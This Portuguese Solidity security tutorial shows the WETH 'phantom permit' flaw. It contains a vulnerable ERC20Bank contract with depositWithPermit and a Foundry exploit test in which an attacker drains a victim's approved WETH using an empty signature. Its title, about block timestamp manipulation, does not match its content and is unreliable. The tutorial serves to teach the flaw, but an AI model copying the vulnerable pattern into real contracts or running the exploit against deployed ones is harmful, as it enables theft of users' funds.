Manipulação do Bloco Timestamp
WEB3DEV Team
# Manipulação do Bloco Timestamp
VulnerabilidadeA maioria dos ERC20 tem a função permit para aprovar um gastador se for fornecida uma assinatura válida.
No entanto, o WETH não tem. Surpreendentemente, quando a permit é chamada no WETH, a chamada da função é executada sem nenhum erro.
Isso ocorre porque o fallback dentro do WETH é executado quando a permit é chamada.
- Alice dá aprovação infinita para que o
ERC20BankgasteWETH - Alice chama o
deposit, deposita1 WETHnoERC20Bank - O atacante chama
depositWithPermit, passa uma assinatura vazia e transfere todos os tokens de Alice para oERC20Bank, creditando o depósito ao atacante. - O atacante retira todos os tokens creditados a ele.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "./IERC20Permit.sol";
contract ERC20Bank {
IERC20Permit public immutable token;
mapping(address => uint256) public balanceOf;
constructor(address _token) {
token = IERC20Permit(_token);
}
function deposit(uint256 _amount) external {
token.transferFrom(msg.sender, address(this), _amount);
balanceOf[msg.sender] += _amount;
}
function depositWithPermit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
token.permit(owner, spender, amount, deadline, v, r, s);
token.transferFrom(owner, address(this), amount);
balanceOf[spender] += amount;
}
function withdraw(uint256 _amount) external {
balanceOf[msg.sender] -= _amount;
token.transfer(msg.sender, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test, console2} from "forge-std/Test.sol";
import {WETH} from "../src/WETH.sol";
import {ERC20Bank} from "../src/ERC20Bank.sol";
contract ERC20BankExploitTest is Test {
WETH private weth;
ERC20Bank private bank;
address private constant user = address(11);
address private constant attacker = address(12);
function setUp() public {
weth = new WETH();
bank = new ERC20Bank(address(weth));
deal(user, 100 * 1e18);
vm.startPrank(user);
weth.deposit{value: 100 * 1e18}();
weth.approve(address(bank), type(uint256).max);
bank.deposit(1e18);
vm.stopPrank();
}
function test() public {
uint256 bal = weth.balanceOf(user);
vm.startPrank(attacker);
bank.depositWithPermit(user, attacker, bal, 0, 0, "", "");
bank.withdraw(bal);
vm.stopPrank();
assertEq(weth.balanceOf(user), 0, "WETH balance of user");
assertEq(
weth.balanceOf(address(attacker)),
99 * 1e18,
"WETH balance of attacker"
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(address src, address dst, uint256 amount)
external
returns (bool);
event Transfer(address indexed src, address indexed dst, uint256 amount);
event Approval(
address indexed owner, address indexed spender, uint256 amount
);
}